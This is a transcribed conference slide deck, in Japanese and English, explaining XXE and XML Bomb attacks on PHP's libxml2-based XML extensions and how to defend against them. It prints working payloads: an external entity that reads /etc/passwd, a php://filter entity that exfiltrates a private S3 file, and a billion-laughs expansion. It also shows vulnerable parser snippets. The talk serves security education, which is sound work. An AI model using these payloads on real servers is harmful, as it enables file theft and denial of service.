XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack...

91
XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP- (English subtitles are available!) Kousuke Ebihara (海老原昂輔) <[email protected] >

description

*English subtitles are available.* Web アプリ界隈、特に日本ではまだあまり知られていないと思われる XXE や XML Bomb (XML Entity Expansion) というセキュリティ脆弱性の概要、 PHP の機能と組み合わせた攻撃手法、主に PHP 周りでの発覚事例や、対策方法について説明します

Transcript of XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack...

Page 1: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

XML と PHP のイケナイ関係(セキュリティ的な意味で)

-Introduction of XXE attack and XML Bomb with PHP-(English subtitles are available!)

Kousuke Ebihara (海老原昂輔)<[email protected]>

Page 2: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

•Kousuke Ebihara (海老原昂輔) a.k.a @co3k

•work at 株式会社手嶋屋

• a developer of OpenPNE

• coding, code-review, performance, security

•PHP カンファレンス初参戦

自己紹介-Introduction-

Page 3: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

XMLExtensible Markup Language

RSS / ATOM / XHTML / SVG / OpenDocument / XLIFF / KML / XSLT / SOAP / SAML / XUL / OpenSearch ...

libxml2 is free software license (MIT license), not JSON license :) (You can use for Evil)

Page 4: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

意識調査-PHPer Survey-

a)Do you know XML External Entity Injection (XXE) and / or XML Entity Expansion (XML Bomb, Billion Laughs

Attack)?

b)Have you used XML-related extensions (PHP DOM,

SimpleXML, XMLReader, ...)?

Page 5: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

意識調査-PHPer Survey-

c) Have you used libxml_disable_entity_loader()?

Page 6: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

DEMONSTRATION

Page 7: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

• シンプルな RSS リーダA simple RSS Reader

• 任意の RSS / ATOM の URL を受け入れるaccepts any of URLs for RSS or ATOM feed

• 各エントリのタイトルを列挙するだけenumerates titles of per entries

• URL が HTTP プロトコルのものであること、サイズが 1MB 以内であること、 整形式の XML としてパースできることをチェックするmakes sure a protocol of the URL is HTTP, the contents can be parsed as well-formed XML and its length is within 1 MB

デモの想定-About demo script-

Page 10: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

普通のフィードを入力した場合-A case of inputting normal RSS / ATOM feed-

Page 11: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

攻撃用フィードその 1-The exploit feed part 1-

• You can get this XML from : https://gist.github.com/ebihara/0f2bbc55b5f7916545fe

Page 12: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

攻撃用フィードを入力した場合-A case of inputting the exploit feed part 1-

Page 13: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

攻撃用フィードを入力した場合-A case of inputting the exploit feed part 1-

サーバ上の /etc/passwd の内容が!A content of /etc/passwd on this server!

Page 14: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [ <!ENTITY passwd SYSTEM "file:///etc/passwd">]><feed xmlns="http://www.w3.org/2005/Atom"> <title>example</title> <updated>2013-06-24T11:56:27+09:00</updated> <id>example</id> <entry>

<title>&passwd;</title> <link href="http://example.com/" /> <id>http://example.com/1</id> <updated>2013-06-26T11:56:27+09:00</updated> <summary>...</summary> <author> <name>example</name> </author> </entry></feed>

なぜ /etc/passwd が?-Why was the content of /etc/passwd displayed?-

Page 15: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [ <!ENTITY passwd SYSTEM "file:///etc/passwd">]><feed xmlns="http://www.w3.org/2005/Atom"> <title>example</title> <updated>2013-06-24T11:56:27+09:00</updated> <id>example</id> <entry>

<title>&passwd;</title> <link href="http://example.com/" /> <id>http://example.com/1</id> <updated>2013-06-26T11:56:27+09:00</updated> <summary>...</summary> <author> <name>example</name> </author> </entry></feed>

なぜ /etc/passwd が?-Why was the content of /etc/passwd displayed?-

Page 16: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [ <!ENTITY passwd SYSTEM "file:///etc/passwd">]><feed xmlns="http://www.w3.org/2005/Atom"> <title>example</title> <updated>2013-06-24T11:56:27+09:00</updated> <id>example</id> <entry>

<title>&passwd;</title> <link href="http://example.com/" /> <id>http://example.com/1</id> <updated>2013-06-26T11:56:27+09:00</updated> <summary>...</summary> <author> <name>example</name> </author> </entry></feed>

なぜ /etc/passwd が?-Why was the content of /etc/passwd displayed?-

Page 17: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [ <!ENTITY passwd SYSTEM "file:///etc/passwd">]><feed xmlns="http://www.w3.org/2005/Atom"> <title>example</title> <updated>2013-06-24T11:56:27+09:00</updated> <id>example</id> <entry>

<title>&passwd;</title> <link href="http://example.com/" /> <id>http://example.com/1</id> <updated>2013-06-26T11:56:27+09:00</updated> <summary>...</summary> <author> <name>example</name> </author> </entry></feed>

なぜ /etc/passwd が?-Why was the content of /etc/passwd displayed?-

Page 18: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [ <!ENTITY passwd SYSTEM "file:///etc/passwd">]><feed xmlns="http://www.w3.org/2005/Atom"> <title>example</title> <updated>2013-06-24T11:56:27+09:00</updated> <id>example</id> <entry>

<title>&passwd;</title> <link href="http://example.com/" /> <id>http://example.com/1</id> <updated>2013-06-26T11:56:27+09:00</updated> <summary>...</summary> <author> <name>example</name> </author> </entry></feed>

nobody:*:-2:-2:Unprivileged User:/var/empty:/us..root:*:0:0:System Administrator:/var/root:/bin/shdaemon:*:1:1:System Services:/var/root:/usr/bin..

なぜ /etc/passwd が?-Why was the content of /etc/passwd displayed?-

Page 19: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [ <!ENTITY passwd SYSTEM "file:///etc/passwd">]><feed xmlns="http://www.w3.org/2005/Atom"> <title>example</title> <updated>2013-06-24T11:56:27+09:00</updated> <id>example</id> <entry>

<title>&passwd;</title> <link href="http://example.com/" /> <id>http://example.com/1</id> <updated>2013-06-26T11:56:27+09:00</updated> <summary>...</summary> <author> <name>example</name> </author> </entry></feed>

XML External Entity (XXE) Attack

nobody:*:-2:-2:Unprivileged User:/var/empty:/us..root:*:0:0:System Administrator:/var/root:/bin/shdaemon:*:1:1:System Services:/var/root:/usr/bin..

なぜ /etc/passwd が?-Why was the content of /etc/passwd displayed?-

Page 20: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

復習: エンティティ-REVIEW about Entity-

&lt;strong&gt;I &hearts; PHP&lt;/strong&gt;

Page 21: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

復習: エンティティ-REVIEW about Entity-

&lt;strong&gt;I &hearts; PHP&lt;/strong&gt;

<strong>I ♥ PHP</strong>

Page 22: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

復習: エンティティ-REVIEW about Entity-

&lt;strong&gt;I &hearts; PHP&lt;/strong&gt;

<strong>I ♥ PHP</strong>

•エンティティの指す値は DTD (文書型定義) にて定義されるEntity-referenced value is defined in DTD

•エンティティ値の定義にはエンティティを含むことができるDefinition of entity value can contain entity

•URI の示す値をエンティティ値の定義に用いることができる (外部エンティティ宣言)URI reference can be used in definition of entity value (External Entity Declaration)

Page 23: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

外部エンティティ解決のフロー (概要)-External Entity resolution flow (summaries)-

Page 24: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

外部エンティティ解決のフロー (概要)-External Entity resolution flow (summaries)-

Parse XML

Page 25: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

外部エンティティ解決のフロー (概要)-External Entity resolution flow (summaries)-

Parse XML

Parse DOCTYPE

Page 26: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

外部エンティティ解決のフロー (概要)-External Entity resolution flow (summaries)-

Parse XML

Parse DOCTYPE

Parse ENTITY declarations

Page 27: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

外部エンティティ解決のフロー (概要)-External Entity resolution flow (summaries)-

Parse XML

Parse DOCTYPE

Parse ENTITY declarations

Resolve external entities

Page 28: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

外部エンティティ解決のフロー (概要)-External Entity resolution flow (summaries)-

Parse XML

Parse DOCTYPE

Parse ENTITY declarations

Resolve external entities

libxml2 entity loader

http://

local file

Page 29: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

外部エンティティ解決のフロー (概要)-External Entity resolution flow (summaries)-

Parse XML

Parse DOCTYPE

Parse ENTITY declarations

Resolve external entities

libxml2 entity loader

http://

local file

PHP entity loader

file:// expect:// gopher:// php://

Page 30: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

XXE の脅威 (概要)-Threats of XXE (summaries)-

• ローカルファイルの漏洩Disclosure of server local file

• いわゆる SSRF (Server Side Request Forgery) による脅威全般

• 認証をおこなわない API やプロトコルを経由した非公開情報の漏洩Disclosure of private informations via non-authenticated API or protocol

• 内部ネットワークに対するポートスキャンPort scanning to the internal network

• オープン済みファイルディスクリプタへのアクセスAccess to opened file descriptors

• syslog 等のログを汚染Poisoning syslog

Page 31: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

Amazon S3 の非公開ファイルにアクセスする-DEMO: Access to private file in Amazon S3-

$s3 = S3Client::factory([ 'key' => '*****', 'secret' => '*****',);$s3->registerStreamWrapper();

echo file_get_contents('s3://phpcon/ebihara-150x150.jpg');

s3:// スキームで Amazon S3 のコンテンツを取得可能にNow we can fetch Amazon S3 content via s3:// scheme.

Page 32: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

Amazon S3 の非公開ファイルにアクセスする-DEMO: Access to private file in Amazon S3-

<!ENTITY kurorekishi SYSTEM "php://filter/convert.base64-encode/resource=s3://phpcon/ebihara-kaicho.jpg">

• S3 用のストリームラッパーを利用して非公開ファイルの内容を取得Get private file content by using Amazon S3 Stream Wrapper

• エンティティ値を展開した後の文書全体を整形式の XML としてパースできるようにする必要があるので、そのままではバイナリ値は取得できないEntity values are embedded as a part of XML document and it should be parsed as well-formed XML since we can’t get raw binary data

• そのため、 PHP のストリームフィルタ機能を用いて base64 エンコードを施した上で出力So the above example outputs base64 encoded binary data by using PHP’s stream filter features

Page 33: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

攻撃用フィードその 2-The exploit feed part 2-

• You can get this XML from : https://gist.github.com/ebihara/a653693e07f9795bc525

Page 34: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

攻撃用フィードを入力した場合-A case of inputting the exploit feed part 2-

Page 35: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

大量の CPU とメモリが消費される!It consumes a lot of CPU and memory resources!

攻撃用フィードを入力した場合-A case of inputting the exploit feed part 2-

Page 36: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 37: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 38: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 39: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 40: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 41: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 42: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 43: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 44: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 45: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 46: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 47: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 48: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 49: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 50: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 51: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

Page 52: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

<!DOCTYPE feed [

<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP**

<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;">**SNIP**

<title>&bomb;</title>**SNIP**

大量のメモリ割り当ての原因-A cause of the tiny memory allocations-

XML Entity Expansion Attack(XML Bomb)

Page 53: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

XML Bomb の脅威-Threats of XML Bomb-

•DoS

Page 54: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

影響を受ける PHP 拡張-Which PHP extensions are affected?-

•DOM

•SimpleXML

•XMLReader (but the default is safe :)

•SOAP (but fixed as CVE-2013-1635 :)

*NOTE: Oh, xml_parser(), is a legacy XML Parser funcion, is safe!! :) Because it doesn’t use libxml2 to parse XMLs

Page 55: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

脆弱な DOM 拡張の使用例-An example of vulnerable code using DOM-

// vulnerable$dom->load('/path/to/evil.xhtml');$dom->loadXML('<?xml ...');

// safe$dom->loadHTMLFile('/path/to/evil.xhtml');$dom->loadHTML('<!DOCTYPE ...');

Page 56: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

HTML5 with libxml2

• 現状の libxml2 は HTML5 をサポートしていないThe current version of libxml2 doesn’t support HTML5 yet

• HTML4 でサポートされていない要素や属性を用いたドキュメントを DOMDocument::loadHTML() でパースすると警告が発生するWarnings are occurred when DOMDocument::loadHTML() parses documents which have non-HTML4 elements or attributes

• 警告を無視するか、 XXE への対策を入れて XML としてパースする必要があるSo we need ignore such warnings or parse as XML with against XXE

See Also: PHP DOM (libxml2) only understands XHTML4, misinterprets HTML5, but D8 must cope with HTML5 [#1333730] | Drupal

Page 57: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

脆弱な SimpleXML 拡張の使用例-An example of vulnerable code using SimpleXML-

$xml = new SimpleXMLElement('<?xml ...');$xml = new SimpleXMLElement('/path/to/evil.xml', null, true);

$xml = simplexml_load_string('<?xml ...');$xml = simplexml_load_file('/path/to/evil.xml');

Page 58: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

脆弱な XMLReader 拡張の使用例-An example of vulnerable code using XMLReader-

XMLReader 使用時に�SUBST_ENTITIES オプションを指定しない限り XXE や XML Bomb の影響を受けない。You can avoid XXE and XML Bomb to use XML Reader without SUBST_ENTITIES option.

$xml = new XMLReader();$xml->xml($content);$xml->setParserProperty( XMLReader::SUBST_ENTITIES, true);

Page 59: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

Wait, what version of libxml2 on this demo?

Page 60: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

Wait, what version of libxml2 on this demo?

2008/04/08 にリリースされた libxml 2.6 系の最終バージョンで、とうの昔のバージョンだしサンプルとしては適さない……?The final version of libxml 2.6 series, is released 2008/04/08, so this is very old and arbitrary example ... really?

Page 61: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

• libxml 2.7.0 (2008/08/30)

• strengthen some of the internal parser limits ...(https://git.gnome.org/browse/libxml2/commit/?id=8915c)

• libxml 2.7.3 (2009/01/18)

• XML_MAX_TEXT_LENGHT (sic) limiting the maximum size of a single text node, the defaultis (sic) 10MB ...(https://git.gnome.org/browse/libxml2/commit/?id=1fb2e)

History of libxml2 vs XML Bomb

Page 62: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

